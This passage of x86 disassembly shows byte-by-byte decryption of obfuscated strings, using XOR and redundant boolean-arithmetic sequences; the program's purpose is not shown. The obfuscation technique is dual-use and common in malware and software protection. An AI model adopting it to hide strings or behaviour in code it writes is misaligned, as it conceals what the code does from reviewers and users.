sub cl, dl
mov byte [0x101cb307], cl
mov cl, byte [0x101cb303]
xor cl, 0x6d
mov byte [0x101cb308], cl
mov cl, byte [0x101cb304]
xor cl, 0xc8
mov byte [0x101cb309], cl
mov dh, byte [0x101cb305]
mov cl, dh
xor cl, 0xff
and cl, 0x17
mov ch, 0xff
xor ch, 0x17
and dh, ch
mov dl, 0xff
xor dl, 0xb7
and dl, 0x17
and ch, 0xb7
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb30a], cl
mov cl, byte [0x101cb0ca]
xor cl, 0
mov byte [0x101cb0d8], cl
mov dh, byte [0x101cb0cb]
mov cl, dh
xor cl, 0xff
and cl, 0xa4
mov ch, 0xff
xor ch, 0xa4
and dh, ch
mov dl, 0xff
xor dl, 0x94
and dl, 0xa4
and ch, 0x94
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0d9], cl
mov dl, byte [0x101cb0cc]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x10
xor cl, 0xff
mov ch, 0xff
xor ch, 0x10
mov dh, 0xff
xor dh, 0x10
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb0da], cl
mov cl, byte [0x101cb0cd]
xor cl, 0xf1
mov byte [0x101cb0db], cl
mov cl, byte [0x101cb0ce]
mov dl, cl
and dl, 0xd2
shl dl, 1
add cl, 0xd2
sub cl, dl
mov byte [0x101cb0dc], cl
mov dh, byte [0x101cb0cf]
mov cl, dh
xor cl, 0xff
and cl, 0xa6
mov ch, 0xff
xor ch, 0xa6
and dh, ch
mov dl, 0xff
xor dl, 0x2c
and dl, 0xa6
and ch, 0x2c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0dd], cl
mov cl, byte [0x101cb0d0]
mov dl, cl
and dl, 0xd5
shl dl, 1
add cl, 0xd5
sub cl, dl
mov byte [0x101cb0de], cl
mov dl, byte [0x101cb0d1]
mov cl, dl
xor cl, 0xff
and cl, 0xfe
mov ch, 0xff
xor ch, 0xfe
and dl, ch
or cl, dl
mov byte [0x101cb0df], cl
mov cl, byte [0x101cb0d2]
xor cl, 0xaf
mov byte [0x101cb0e0], cl
mov cl, byte [0x101cb0d3]
xor cl, 0xfe
mov byte [0x101cb0e1], cl
mov cl, byte [0x101cb0d4]
mov dl, cl
and dl, 0x17
shl dl, 1
add cl, 0x17
sub cl, dl
mov byte [0x101cb0e2], cl
mov cl, byte [0x101cb0d5]
xor cl, 0x1b
mov byte [0x101cb0e3], cl
mov cl, byte [0x101cb0d6]
xor cl, 0x75
mov byte [0x101cb0e4], cl
mov cl, byte [str.__n__]
mov dl, cl
and dl, 0x25
shl dl, 1
add cl, 0x25
sub cl, dl
mov byte [0x101cb0e5], cl
mov dl, byte [0x101cb180]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xf7
or ch, 0xf7
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xf7
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb1a0], cl
mov cl, byte [0x101cb181]
xor cl, 0x83
mov byte [0x101cb1a1], cl
mov cl, byte [0x101cb182]
mov dl, cl
xor dl, 0x68
xor dl, 0xff
and dl, 0x68
shl dl, 1
sub dl, 0x68
sub cl, dl
mov byte [0x101cb1a2], cl
mov dl, byte [0x101cb183]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x68
mov dh, 0xff
xor dh, 0x68
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x68
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb1a3], cl
mov dh, byte [0x101cb184]
mov cl, dh
xor cl, 0xff
and cl, 0x33
mov ch, 0xff
xor ch, 0x33
and dh, ch
mov dl, 0xff
xor dl, 0xee
and dl, 0x33
and ch, 0xee
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1a4], cl
mov cl, byte [0x101cb185]
mov dl, cl
and dl, 0xa0
shl dl, 1
add cl, 0xa0
sub cl, dl
mov byte [0x101cb1a5], cl
mov dl, byte [0x101cb186]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x32
or cl, ch
mov ch, 0xff
xor ch, 0x32
mov dh, 0xff
xor dh, 0x32
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1a6], cl
mov dh, byte [0x101cb187]
mov cl, dh
xor cl, 0xff
and cl, 0x4f
mov ch, 0xff
xor ch, 0x4f
and dh, ch
mov dl, 0xff
xor dl, 0x4b
and dl, 0x4f
and ch, 0x4b
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1a7], cl
mov cl, byte [0x101cb188]
xor cl, 0x43
mov byte [0x101cb1a8], cl
mov cl, byte [0x101cb189]
xor cl, 0xc0
mov byte [0x101cb1a9], cl
mov cl, byte [0x101cb18a]
xor cl, 0xdf
mov byte [0x101cb1aa], cl
mov cl, byte [0x101cb18b]
mov dl, cl
xor dl, 0xd7
xor dl, 0xff
and dl, 0xd7
shl dl, 1
sub dl, 0xd7
sub cl, dl
mov byte [0x101cb1ab], cl
mov cl, byte [0x101cb18c]
mov dl, cl
xor dl, 0xa4
xor dl, 0xff
and dl, 0xa4
shl dl, 1
sub dl, 0xa4
sub cl, dl
mov byte [0x101cb1ac], cl
mov cl, byte [0x101cb18d]
xor cl, 0xd8
mov byte [0x101cb1ad], cl
mov cl, byte [0x101cb18e]
xor cl, 0xb
mov byte [0x101cb1ae], cl
mov dh, byte [0x101cb18f]
mov cl, dh
xor cl, 0xff
and cl, 0x2b
mov ch, 0xff
xor ch, 0x2b
and dh, ch
mov dl, 0xff
xor dl, 8
and dl, 0x2b
and ch, 8
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1af], cl
mov cl, byte [0x101cb190]
xor cl, 0xae
mov byte [0x101cb1b0], cl
mov dl, byte [0x101cb191]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xc8
or ch, 0xc8
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xc8
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1b1], cl
mov cl, byte [0x101cb192]
xor cl, 0xbc
mov byte [0x101cb1b2], cl
mov dh, byte [0x101cb193]
mov cl, dh
xor cl, 0xff
and cl, 0x86
mov ch, 0xff
xor ch, 0x86
and dh, ch
mov dl, 0xff
xor dl, 0xde
and dl, 0x86
and ch, 0xde
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1b3], cl
mov cl, byte [0x101cb194]
xor cl, 0x24
mov byte [0x101cb1b4], cl
mov cl, byte [0x101cb195]
mov dl, cl
xor dl, 0xd6
xor dl, 0xff
and dl, 0xd6
shl dl, 1
sub dl, 0xd6
sub cl, dl
mov byte [0x101cb1b5], cl
mov cl, byte [0x101cb196]
xor cl, 0x54
mov byte [0x101cb1b6], cl
mov cl, byte [0x101cb197]
xor cl, 0xdf
mov byte [0x101cb1b7], cl
mov cl, byte [0x101cb214]
xor cl, 0x40
mov byte [0x101cb21d], cl
mov cl, byte [0x101cb215]
xor cl, 0xb5
mov byte [0x101cb21e], cl
mov dh, byte [0x101cb216]
mov cl, dh
xor cl, 0xff
and cl, 0x76
mov ch, 0xff
xor ch, 0x76
and dh, ch
mov dl, 0xff
xor dl, 0x94
and dl, 0x76
and ch, 0x94
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb21f], cl
mov cl, byte [0x101cb217]
mov dl, cl
xor dl, 0xf4
xor dl, 0xff
and dl, 0xf4
shl dl, 1
sub dl, 0xf4
sub cl, dl
mov byte [0x101cb220], cl
mov dh, byte [0x101cb218]
mov cl, dh
xor cl, 0xff
and cl, 3
mov ch, 0xff
xor ch, 3
and dh, ch
mov dl, 0xff
xor dl, 0x88
and dl, 3
and ch, 0x88
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb221], cl
mov dh, byte [0x101cb219]
mov cl, dh
xor cl, 0xff
and cl, 0x67
mov ch, 0xff
xor ch, 0x67
and dh, ch
mov dl, 0xff
xor dl, 0x56
and dl, 0x67
and ch, 0x56
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb222], cl
mov dl, byte [0x101cb21a]
mov cl, dl
xor cl, 0xff
and cl, 0x38
mov ch, 0xff
xor ch, 0x38
and dl, ch
or cl, dl
mov byte [0x101cb223], cl
mov dl, byte [0x101cb21b]
mov cl, dl
xor cl, 0xff
and cl, 0x67
mov ch, 0xff
xor ch, 0x67
and dl, ch
or cl, dl
mov byte [0x101cb224], cl
mov cl, byte [0x101cb21c]
xor cl, 9
mov byte [0x101cb225], cl
mov cl, byte [0x101cb287]
mov dl, cl
and dl, 0xa9
shl dl, 1
add cl, 0xa9
sub cl, dl
mov byte [0x101cb296], cl
mov cl, byte [0x101cb288]
mov dl, cl
xor dl, 0x40
xor dl, 0xff
and dl, 0x40
shl dl, 1
sub dl, 0x40
sub cl, dl
mov byte [0x101cb297], cl
mov cl, byte [0x101cb289]
xor cl, 0x6c
mov byte [0x101cb298], cl
mov cl, byte [0x101cb28a]
xor cl, 0xda
mov byte [0x101cb299], cl
mov dh, byte [0x101cb28b]
mov cl, dh
xor cl, 0xff
and cl, 0x33
mov ch, 0xff
xor ch, 0x33
and dh, ch
mov dl, 0xff
xor dl, 0xf3
and dl, 0x33
and ch, 0xf3
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb29a], cl
mov cl, byte [0x101cb28c]
xor cl, 0x98
mov byte [0x101cb29b], cl
mov cl, byte [0x101cb28d]
xor cl, 0x43
mov byte [0x101cb29c], cl
mov cl, byte [0x101cb28e]
xor cl, 0xd2
mov byte [0x101cb29d], cl
mov dl, byte [0x101cb28f]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x82
or cl, ch
mov ch, 0xff
xor ch, 0x82
mov dh, 0xff
xor dh, 0x82
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb29e], cl
mov cl, byte [0x101cb290]
mov dl, cl
xor dl, 0xb1
xor dl, 0xff
and dl, 0xb1
shl dl, 1
sub dl, 0xb1
sub cl, dl
mov byte [0x101cb29f], cl
mov cl, byte [0x101cb291]
xor cl, 0x36
mov byte [0x101cb2a0], cl
mov cl, byte [0x101cb292]
xor cl, 0xf1
mov byte [0x101cb2a1], cl
mov dl, byte [0x101cb293]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x87
xor cl, 0xff
mov ch, 0xff
xor ch, 0x87
mov dh, 0xff
xor dh, 0x87
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb2a2], cl
mov cl, byte [0x101cb294]
mov dl, cl
xor dl, 9
xor dl, 0xff
and dl, 9
shl dl, 1
sub dl, 9
sub cl, dl
mov byte [0x101cb2a3], cl
mov cl, byte [0x101cb295]
xor cl, 0x12
mov byte [0x101cb2a4], cl
mov dh, byte [0x101cb1f6]
mov cl, dh
xor cl, 0xff
and cl, 0xe0
mov ch, 0xff
xor ch, 0xe0
and dh, ch
mov dl, 0xff
xor dl, 0xa
and dl, 0xe0
and ch, 0xa
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb205], cl
mov cl, byte [0x101cb1f7]
xor cl, 0xab
mov byte [0x101cb206], cl
mov dl, byte [0x101cb1f8]
mov cl, dl
xor cl, 0xff
and cl, 0x74
mov ch, 0xff
xor ch, 0x74
and dl, ch
or cl, dl
mov byte [0x101cb207], cl
mov dl, byte [0x101cb1f9]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x52
or ch, 0x52
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x52
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb208], cl
mov cl, byte [0x101cb1fa]
xor cl, 0x50
mov byte [0x101cb209], cl
mov dh, byte [0x101cb1fb]
mov cl, dh
xor cl, 0xff
and cl, 0xd6
mov ch, 0xff
xor ch, 0xd6
and dh, ch
mov dl, 0xff
xor dl, 0xa9
and dl, 0xd6
and ch, 0xa9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb20a], cl
mov dl, byte [0x101cb1fc]
mov cl, dl
xor cl, 0xff
and cl, 0xc0
mov ch, 0xff
xor ch, 0xc0
and dl, ch
or cl, dl
mov byte [0x101cb20b], cl
mov cl, byte [0x101cb1fd]
xor cl, 0x78
mov byte [0x101cb20c], cl
mov cl, byte [0x101cb1fe]
xor cl, 0xdc
mov byte [0x101cb20d], cl
mov cl, byte [0x101cb1ff]
xor cl, 0xa
mov byte [0x101cb20e], cl
mov cl, byte [0x101cb200]
xor cl, 0x25
mov byte [0x101cb20f], cl
mov cl, byte [0x101cb201]
xor cl, 0x36
mov byte [0x101cb210], cl
mov dl, byte [0x101cb202]
mov cl, dl
xor cl, 0xff
and cl, 0xe3
mov ch, 0xff
xor ch, 0xe3
and dl, ch
or cl, dl
mov byte [0x101cb211], cl
mov dl, byte [str.zu_ng7]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x12
mov dh, 0xff
xor dh, 0x12
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x12
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb212], cl
mov dh, byte [0x101cb204]
mov cl, dh
xor cl, 0xff
and cl, 0xe2
mov ch, 0xff
xor ch, 0xe2
and dh, ch
mov dl, 0xff
xor dl, 0x75
and dl, 0xe2
and ch, 0x75
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb213], cl
mov cl, byte [0x101cb0e6]
xor cl, 0xfc
mov byte [0x101cb0f6], cl
mov dh, byte [0x101cb0e7]
mov cl, dh
xor cl, 0xff
and cl, 0xe
mov ch, 0xff
xor ch, 0xe
and dh, ch
mov dl, 0xff
xor dl, 0x50
and dl, 0xe
and ch, 0x50
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0f7], cl
mov cl, byte [0x101cb0e8]
mov dl, cl
xor dl, 0x31
xor dl, 0xff
and dl, 0x31
shl dl, 1
sub dl, 0x31
sub cl, dl
mov byte [0x101cb0f8], cl
mov cl, byte [0x101cb0e9]
xor cl, 0xde
mov byte [0x101cb0f9], cl
mov dl, byte [0x101cb0ea]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x3a
or cl, ch
mov ch, 0x3a
and ch, 0x3a
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb0fa], cl
mov dl, byte [0x101cb0eb]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xf8
mov dh, 0xff
xor dh, 0xf8
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf8
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0fb], cl
mov cl, byte [0x101cb0ec]
mov dl, cl
xor dl, 0xb8
xor dl, 0xff
and dl, 0xb8
shl dl, 1
sub dl, 0xb8
sub cl, dl
mov byte [0x101cb0fc], cl
mov cl, byte [0x101cb0ed]
xor cl, 0xe9
mov byte [0x101cb0fd], cl
mov cl, byte [0x101cb0ee]
xor cl, 0x38
mov byte [0x101cb0fe], cl
mov cl, byte [0x101cb0ef]
mov dl, cl
and dl, 0xae
shl dl, 1
add cl, 0xae
sub cl, dl
mov byte [0x101cb0ff], cl
mov cl, byte [0x101cb0f0]
xor cl, 0xf6
mov byte [0x101cb100], cl
mov dh, byte [0x101cb0f1]
mov cl, dh
xor cl, 0xff
and cl, 0xd7
mov ch, 0xff
xor ch, 0xd7
and dh, ch
mov dl, 0xff
xor dl, 0x27
and dl, 0xd7
and ch, 0x27
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb101], cl
mov cl, byte [0x101cb0f2]
xor cl, 0xe5
mov byte [0x101cb102], cl
mov cl, byte [0x101cb0f3]
xor cl, 0xad
mov byte [0x101cb103], cl
mov dl, byte [0x101cb0f4]
mov cl, dl
xor cl, 0xff
and cl, 0x12
mov ch, 0xff
xor ch, 0x12
and dl, ch
or cl, dl
mov byte [0x101cb104], cl
mov cl, byte [0x101cb0f5]
mov dl, cl
xor dl, 0xe8
xor dl, 0xff
and dl, 0xe8
shl dl, 1
sub dl, 0xe8
sub cl, dl
mov byte [0x101cb105], cl
mov cl, byte [0x101cb120]
xor cl, 0xe7
mov byte [0x101cb150], cl
mov cl, byte [0x101cb121]
xor cl, 0xa3
mov byte [0x101cb151], cl
mov dl, byte [0x101cb122]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xdb
or cl, ch
mov ch, 0xdb
and ch, 0xdb
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb152], cl
mov cl, byte [0x101cb123]
xor cl, 0x94
mov byte [0x101cb153], cl
mov cl, byte [0x101cb124]
xor cl, 0xa0
mov byte [0x101cb154], cl
mov dh, byte [0x101cb125]
mov cl, dh
xor cl, 0xff
and cl, 0xb0
mov ch, 0xff
xor ch, 0xb0
and dh, ch
mov dl, 0xff
xor dl, 0xe4
and dl, 0xb0
and ch, 0xe4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb155], cl
mov dh, byte [0x101cb126]
mov cl, dh
xor cl, 0xff
and cl, 0xc9
mov ch, 0xff
xor ch, 0xc9
and dh, ch
mov dl, 0xff
xor dl, 0x70
and dl, 0xc9
and ch, 0x70
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb156], cl
mov dl, byte [0x101cb127]
mov cl, dl
xor cl, 0xff
and cl, 0xf
mov ch, 0xff
xor ch, 0xf
and dl, ch
or cl, dl
mov byte [0x101cb157], cl
mov cl, byte [0x101cb128]
xor cl, 0xd
mov byte [0x101cb158], cl
mov cl, byte [0x101cb129]
xor cl, 0x14
mov byte [0x101cb159], cl
mov cl, byte [0x101cb12a]
mov dl, cl
xor dl, 0x5a
xor dl, 0xff
and dl, 0x5a
shl dl, 1
sub dl, 0x5a
sub cl, dl
mov byte [0x101cb15a], cl
mov cl, byte [0x101cb12b]
mov dl, cl
xor dl, 2
xor dl, 0xff
and dl, 2
shl dl, 1
sub dl, 2
sub cl, dl
mov byte [0x101cb15b], cl
mov dh, byte [0x101cb12c]
mov cl, dh
xor cl, 0xff
and cl, 0x88
mov ch, 0xff
xor ch, 0x88
and dh, ch
mov dl, 0xff
xor dl, 0xcd
and dl, 0x88
and ch, 0xcd
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb15c], cl
mov cl, byte [0x101cb12d]
xor cl, 0x11
mov byte [0x101cb15d], cl
mov dl, byte [0x101cb12e]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb9
or cl, ch
mov ch, 0xff
xor ch, 0xb9
mov dh, 0xff
xor dh, 0xb9
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb15e], cl
mov cl, byte [0x101cb12f]
mov dl, cl
xor dl, 0xce
xor dl, 0xff
and dl, 0xce
shl dl, 1
sub dl, 0xce
sub cl, dl
mov byte [0x101cb15f], cl
mov cl, byte [0x101cb130]
mov dl, cl
and dl, 0x51
shl dl, 1
add cl, 0x51
sub cl, dl
mov byte [0x101cb160], cl
mov cl, byte [0x101cb131]
xor cl, 0xe7
mov byte [0x101cb161], cl
mov dl, byte [0x101cb132]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x8d
mov dh, 0xff
xor dh, 0x8d
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x8d
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb162], cl
mov cl, byte [0x101cb133]
xor cl, 0x95
mov byte [0x101cb163], cl
mov cl, byte [0x101cb134]
xor cl, 0x5c
mov byte [0x101cb164], cl
mov cl, byte [0x101cb135]
xor cl, 0x1c
mov byte [0x101cb165], cl
mov dh, byte [0x101cb136]
mov cl, dh
xor cl, 0xff
and cl, 0xe8
mov ch, 0xff
xor ch, 0xe8
and dh, ch
mov dl, 0xff
xor dl, 0xc1
and dl, 0xe8
and ch, 0xc1
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb166], cl
mov dh, byte [0x101cb137]
mov cl, dh
xor cl, 0xff
and cl, 0x69
mov ch, 0xff
xor ch, 0x69
and dh, ch
mov dl, 0xff
xor dl, 0x65
and dl, 0x69
and ch, 0x65
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb167], cl
mov cl, byte [0x101cb138]
xor cl, 0x5c
mov byte [0x101cb168], cl
mov dl, byte [0x101cb139]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x41
xor cl, 0xff
mov ch, 0xff
xor ch, 0x41
mov dh, 0xff
xor dh, 0x41
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb169], cl
mov cl, byte [0x101cb13a]
xor cl, 0x87
mov byte [0x101cb16a], cl
mov dl, byte [0x101cb13b]
mov cl, dl
xor cl, 0xff
and cl, 0xca
mov ch, 0xff
xor ch, 0xca
and dl, ch
or cl, dl
mov byte [0x101cb16b], cl
mov dl, byte [0x101cb13c]
mov cl, dl
xor cl, 0xff
and cl, 0xbe
mov ch, 0xff
xor ch, 0xbe
and dl, ch
or cl, dl
mov byte [0x101cb16c], cl
mov cl, byte [0x101cb13d]
mov dl, cl
and dl, 0x7c
shl dl, 1
add cl, 0x7c
sub cl, dl
mov byte [0x101cb16d], cl
mov dl, byte [0x101cb13e]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x86
xor cl, 0xff
mov ch, 0x86
and ch, 0x86
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb16e], cl
mov dl, byte [0x101cb13f]
mov cl, dl
xor cl, 0xff
and cl, 0xb6
mov ch, 0xff
xor ch, 0xb6
and dl, ch
or cl, dl
mov byte [0x101cb16f], cl
mov dl, byte [0x101cb140]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xe4
xor cl, 0xff
mov ch, 0xe4
and ch, 0xe4
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb170], cl
mov cl, byte [0x101cb1b8]
xor cl, 0x8e
mov byte [0x101cb1c5], cl
mov cl, byte [0x101cb1b9]
xor cl, 0x47
mov byte [0x101cb1c6], cl
mov cl, byte [0x101cb1ba]
xor cl, 0xe3
mov byte [0x101cb1c7], cl
mov dh, byte [0x101cb1bb]
mov cl, dh
xor cl, 0xff
and cl, 0xe3
mov ch, 0xff
xor ch, 0xe3
and dh, ch
mov dl, 0xff
xor dl, 2
and dl, 0xe3
and ch, 2
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1c8], cl
mov cl, byte [0x101cb1bc]
mov dl, cl
and dl, 0x81
shl dl, 1
add cl, 0x81
sub cl, dl
mov byte [0x101cb1c9], cl
mov cl, byte [0x101cb1bd]
xor cl, 0x84
mov byte [0x101cb1ca], cl
mov cl, byte [0x101cb1be]
xor cl, 0x60
mov byte [0x101cb1cb], cl
mov dl, byte [0x101cb1bf]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xfa
xor cl, 0xff
mov ch, 0xff
xor ch, 0xfa
mov dh, 0xff
xor dh, 0xfa
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb1cc], cl
mov cl, byte [0x101cb1c0]
xor cl, 0x8d
mov byte [0x101cb1cd], cl
mov cl, byte [0x101cb1c1]
mov dl, cl
and dl, 0xf8
shl dl, 1
add cl, 0xf8
sub cl, dl
mov byte [0x101cb1ce], cl
mov dl, byte [0x101cb1c2]
mov cl, dl
xor cl, 0xff
and cl, 0x1e
mov ch, 0xff
xor ch, 0x1e
and dl, ch
or cl, dl
mov byte [0x101cb1cf], cl
mov dl, byte [0x101cb1c3]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x64
or cl, ch
mov ch, 0x64
and ch, 0x64
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1d0], cl
mov cl, byte [0x101cb1c4]
mov dl, cl
and dl, 0x9b
shl dl, 1
add cl, 0x9b
sub cl, dl
mov byte [0x101cb1d1], cl
mov dh, byte [0x101cb1d2]
mov cl, dh
xor cl, 0xff
and cl, 0xa1
mov ch, 0xff
xor ch, 0xa1
and dh, ch
mov dl, 0xff
xor dl, 0xc9
and dl, 0xa1
and ch, 0xc9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1db], cl
mov dl, byte [0x101cb1d3]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x80
or ch, 0x80
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x80
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb1dc], cl
mov dl, byte [0x101cb1d4]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa
mov dh, 0xff
xor dh, 0xa
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xa
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1dd], cl
mov dh, byte [0x101cb1d5]
mov cl, dh
xor cl, 0xff
and cl, 0xc4
mov ch, 0xff
xor ch, 0xc4
and dh, ch
mov dl, 0xff
xor dl, 0xa7
and dl, 0xc4
and ch, 0xa7
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1de], cl
mov cl, byte [0x101cb1d6]
mov dl, cl
xor dl, 0xb8
xor dl, 0xff
and dl, 0xb8
shl dl, 1
sub dl, 0xb8
sub cl, dl
mov byte [0x101cb1df], cl
mov cl, byte [0x101cb1d7]
xor cl, 0xfd
mov byte [0x101cb1e0], cl
mov cl, byte [0x101cb1d8]
xor cl, 0x8b
mov byte [0x101cb1e1], cl
mov dh, byte [0x101cb1d9]
mov cl, dh
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dh, ch
mov dl, 0xff
xor dl, 0x6c
and dl, 0x9b
and ch, 0x6c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1e2], cl
mov cl, byte [0x101cb1da]
xor cl, 0x89
mov byte [0x101cb1e3], cl
mov dl, byte [0x101cb343]
mov cl, dl
xor cl, 0xff
and cl, 0x2c
mov ch, 0xff
xor ch, 0x2c
and dl, ch
or cl, dl
mov byte [0x101cb352], cl
mov cl, byte [0x101cb344]
mov dl, cl
xor dl, 0x94
xor dl, 0xff
and dl, 0x94
shl dl, 1
sub dl, 0x94
sub cl, dl
mov byte [0x101cb353], cl
mov dh, byte [0x101cb345]
mov cl, dh
xor cl, 0xff
and cl, 0x74
mov ch, 0xff
xor ch, 0x74
and dh, ch
mov dl, 0xff
xor dl, 0xf4
and dl, 0x74
and ch, 0xf4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb354], cl
mov cl, byte [str.lk9]
xor cl, 4
mov byte [0x101cb355], cl
mov cl, byte [0x101cb347]
xor cl, 0x52
mov byte [0x101cb356], cl
mov dl, byte [0x101cb348]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x18
or ch, 0x18
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x18
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb357], cl
mov cl, byte [0x101cb349]
mov dl, cl
xor dl, 0x4d
xor dl, 0xff
and dl, 0x4d
shl dl, 1
sub dl, 0x4d
sub cl, dl
mov byte [0x101cb358], cl
mov cl, byte [0x101cb34a]
xor cl, 0xfd
mov byte [0x101cb359], cl
mov cl, byte [0x101cb34b]
xor cl, 0xa5
mov byte [0x101cb35a], cl
mov cl, byte [0x101cb34c]
xor cl, 0xb3
mov byte [0x101cb35b], cl
mov cl, byte [0x101cb34d]
xor cl, 0x2c
mov byte [0x101cb35c], cl
mov cl, byte [0x101cb34e]
xor cl, 0xb5
mov byte [0x101cb35d], cl
mov dl, byte [0x101cb34f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x65
or ch, 0x65
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x65
and dl, ch
